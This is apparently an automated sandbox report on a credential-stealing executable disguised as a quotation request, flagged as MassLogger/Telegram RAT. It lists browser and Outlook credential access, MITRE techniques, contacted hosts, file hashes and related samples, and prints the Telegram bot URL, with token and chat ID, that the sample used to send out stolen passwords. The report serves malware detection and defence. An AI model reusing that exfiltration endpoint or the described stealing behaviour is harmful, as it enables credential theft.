Source: Yara match	File source: 0000000A.00000002.2556507666.0000000034C9B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: REQUEST FOR QUOATION AND PRICES.exe PID: 7616, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 0000000A.00000002.2556507666.0000000034C9B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: REQUEST FOR QUOATION AND PRICES.exe PID: 7616, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 0000000A.00000002.2556507666.0000000034C9B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: REQUEST FOR QUOATION AND PRICES.exe PID: 7616, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 0000000A.00000002.2556507666.0000000034C9B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: REQUEST FOR QUOATION AND PRICES.exe PID: 7616, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	11 Process Injection	11 Masquerading	1 OS Credential Dumping	211 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	31 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	215 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
REQUEST FOR QUOATION AND PRICES.exe	13%	ReversingLabs
REQUEST FOR QUOATION AND PRICES.exe	100%	Avira	HEUR/AGEN.1337946

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsz829B.tmp\System.dll	0%	ReversingLabs

Name	IP	Active	Malicious	Reputation
drive.google.com	172.217.19.174	true	false	high
drive.usercontent.google.com	142.250.181.97	true	false	high
reallyfreegeoip.org	104.21.67.152	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.247.73	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://api.telegram.org/bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228	false	high
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.228	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.google.com	REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739292779.00000000045CC000.00000004.00000020.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739369349.00000000045CC000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org	REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034D57000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034DAA000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034C9B000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034EC5000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034C9B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://translate.google.com/translate_a/element.js	REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739292779.00000000045CC000.00000004.00000020.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739369349.00000000045CC000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382	REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034EC5000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/	REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2536020620.0000000004558000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/T	REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2536020620.0000000004558000.00000004.00000020.00020000.00000000.sdmp	false	high
http://reallyfreegeoip.org	REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034BD8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034BC0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1797285940.00000000045CA000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034D57000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034BAD000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034DAA000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034C9B000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034BC0000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034EC5000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739292779.00000000045CC000.00000004.00000020.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739369349.00000000045CC000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034D57000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034DAA000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034BC0000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034EC5000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	REQUEST FOR QUOATION AND PRICES.exe	false	high
http://api.telegram.org	REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034D57000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034DAA000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034C9B000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034EC5000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/D7~	REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2558244299.0000000037416000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034B41000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034BC0000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.21.67.152	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
172.217.19.174	drive.google.com	United States	15169	GOOGLEUS	false
142.250.181.97	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
132.226.247.73	checkip.dyndns.com	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1567431
Start date and time:	2024-12-03 15:20:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	REQUEST FOR QUOATION AND PRICES.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/8@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 116 Number of non-executed functions: 115
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: REQUEST FOR QUOATION AND PRICES.exe

Simulations

Behavior and APIs

Time	Type	Description
10:37:52	API Interceptor	711x Sleep call for process: REQUEST FOR QUOATION AND PRICES.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	IBAN payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	Teklif Talebi- #U0130hale 14990_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	yMvZXcwN2OdoP6x.exe	Get hash	malicious	DarkCloud	Browse
	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	https://connexion-espacesclients.support/gkm/	Get hash	malicious	Unknown	Browse
	Pdf Reader.exe	Get hash	malicious	Stealerium	Browse
	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	https://dsiete.co/share.html	Get hash	malicious	HTMLPhisher	Browse
	Itnaledi Salary_ Payslip _ Updates4C79949D7C31_pdf.html	Get hash	malicious	HTMLPhisher	Browse
104.21.67.152	IBAN payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	QUOTATION_DECQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse
	RFQ-2309540_27112024.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	Cotizaci#U00f3n_Pedido_Manzanillo_MX.pdf.exe	Get hash	malicious	MassLogger RAT	Browse
	tA5DvuNwfQ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Factura.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Gastroptosis (5).exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Fonts.exe	Get hash	malicious	MassLogger RAT	Browse
	PO80330293.exe	Get hash	malicious	MassLogger RAT	Browse
132.226.247.73	IBAN payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	HALKBANK EFT RECEIPT DATED 02.12.2024.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	tA5DvuNwfQ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Factura.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	021337ISOGENERAL.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	PO80330293.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	RYSUNEK_.EXE.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	MICROCHIP QFP3 22 - 25000.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	IBAN payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	Teklif Talebi- #U0130hale 14990_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	#U00d6denmeyen Kredi Taksit Bilgileriniz.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.130.0
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	678763_PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	HALKBANK EFT RECEIPT DATED 02.12.2024.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	QUOTATION_DECQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
reallyfreegeoip.org	IBAN payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	Teklif Talebi- #U0130hale 14990_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	#U00d6denmeyen Kredi Taksit Bilgileriniz.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.177.134
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	678763_PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	HALKBANK EFT RECEIPT DATED 02.12.2024.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	QUOTATION_DECQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
api.telegram.org	IBAN payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Teklif Talebi- #U0130hale 14990_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	yMvZXcwN2OdoP6x.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://connexion-espacesclients.support/gkm/	Get hash	malicious	Unknown	Browse	149.154.167.220
	Pdf Reader.exe	Get hash	malicious	Stealerium	Browse	149.154.167.220
	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	https://dsiete.co/share.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	Itnaledi Salary_ Payslip _ Updates4C79949D7C31_pdf.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	IBAN payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Teklif Talebi- #U0130hale 14990_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	yMvZXcwN2OdoP6x.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://connexion-espacesclients.support/gkm/	Get hash	malicious	Unknown	Browse	149.154.167.220
	Pdf Reader.exe	Get hash	malicious	Stealerium	Browse	149.154.167.220
	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	https://dsiete.co/share.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	Itnaledi Salary_ Payslip _ Updates4C79949D7C31_pdf.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
CLOUDFLARENETUS	Ref#60031796.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	IBAN payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	Ref#1550238.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	uC8FY7Hvsx.xls	Get hash	malicious	Unknown	Browse	188.114.96.6
	BuMdSP88Ze.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	uC8FY7Hvsx.xls	Get hash	malicious	Unknown	Browse	172.67.194.230
	SANTANDER%20AUDITORIA.scr.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	uC8FY7Hvsx.xls	Get hash	malicious	Unknown	Browse	188.114.97.6
	2112024_RS_GIBANJ -SWIFT.docx.doc	Get hash	malicious	Unknown	Browse	172.67.194.230
	Pp7OXMFwqhXKx5Y.exe	Get hash	malicious	FormBook	Browse	172.67.201.49
UTMEMUS	IBAN payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	Teklif Talebi- #U0130hale 14990_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	678763_PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	HALKBANK EFT RECEIPT DATED 02.12.2024.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Cotizaci#U00f3n_Pedido_Manzanillo_MX.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	tA5DvuNwfQ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	Factura.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	Gastroptosis (5).exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	IBAN payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	Teklif Talebi- #U0130hale 14990_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	#U00d6denmeyen Kredi Taksit Bilgileriniz.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	678763_PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	HALKBANK EFT RECEIPT DATED 02.12.2024.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	QUOTATION_DECQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
3b5074b1b5d032e5620f69f9f700ff0e	Ref#60031796.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	IBAN payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Ref#1550238.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	BuMdSP88Ze.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	RFQ 9-XTC-204-60THD.xlsx.exe	Get hash	malicious	Quasar	Browse	149.154.167.220
	SANTANDER%20AUDITORIA.scr.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Ref#1550238.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Bestellung - 021224 - 901003637.exe	Get hash	malicious	Quasar	Browse	149.154.167.220
	Teklif Talebi- #U0130hale 14990_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	IBAN payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.97 172.217.19.174
	yMvZXcwN2OdoP6x.exe	Get hash	malicious	DarkCloud	Browse	142.250.181.97 172.217.19.174
	Curri.lNK.lnk	Get hash	malicious	Unknown	Browse	142.250.181.97 172.217.19.174
	36244920cQPUT1.lNK.lnk	Get hash	malicious	Unknown	Browse	142.250.181.97 172.217.19.174
	1099833039444.pdf.js	Get hash	malicious	Remcos	Browse	142.250.181.97 172.217.19.174
	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	142.250.181.97 172.217.19.174
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.97 172.217.19.174
	1013911.js	Get hash	malicious	FormBook	Browse	142.250.181.97 172.217.19.174
	cHtIyrhXeG.lnk	Get hash	malicious	Unknown	Browse	142.250.181.97 172.217.19.174
	HiDOalUAfc.lnk	Get hash	malicious	Unknown	Browse	142.250.181.97 172.217.19.174

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsz829B.tmp\System.dll	IBAN payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	WC10SCPMaX.exe	Get hash	malicious	Azorult, GuLoader	Browse
	PayeeAdvice_HK54912_R0038704_37504.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	CL714440147.exe	Get hash	malicious	GuLoader	Browse
	TKnBbCiX07.exe	Get hash	malicious	GuLoader	Browse
	________.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Snurrevoddenes.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	Eksistensberettigelsernes102.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nso8123.tmp

Download File

Process:	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe
File Type:	data
Category:	dropped
Size (bytes):	1205335
Entropy (8bit):	3.531689895208813
Encrypted:	false
SSDEEP:	12288:w8rRdu4ubGzwg2ZCjm8EO6x6l64XFltbJNyeWpKJ:HfRu3gWV8Ebi641llupK
MD5:	84703BB2E9BBA641ADD27F6758780928
SHA1:	A14176D85C035EFE574DF2320AEBC9AFBAF74820
SHA-256:	14616079E42750F701FD299920FD45633EA609080F278C7A8A9386E0C4223E11
SHA-512:	525D08B61C133D07AAD8CA21FA711F5F42888E5598027FCF9DCB7C3BAEF02F3831C25878E06D740292B08C80265BEEB7316EE7DA14725B6E6B188AD1125254B4
Malicious:	false
Reputation:	low
Preview:	d:......,.......,.......\........$......N9......L:............................................................u.........................R...................................................................................................................................................G...J...............h...............................................................g...............................................................j..............................................................................................................................._.......................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsz829B.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	11264
Entropy (8bit):	5.801108840712148
Encrypted:	false
SSDEEP:	192:e/b2HS5ih/7i00eWz9T7PH6yeFcQMI5+Vw+EXWZ77dslFZk:ewSUmWw9T7MmnI5+/F7Kdk
MD5:	FC90DFB694D0E17B013D6F818BCE41B0
SHA1:	3243969886D640AF3BFA442728B9F0DFF9D5F5B0
SHA-256:	7FE77CA13121A113C59630A3DBA0C8AAA6372E8082393274DA8F8608C4CE4528
SHA-512:	324F13AA7A33C6408E2A57C3484D1691ECEE7C3C1366DE2BB8978C8DC66B18425D8CAB5A32D1702C13C43703E36148A022263DE7166AFDCE141DA2B01169F1C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
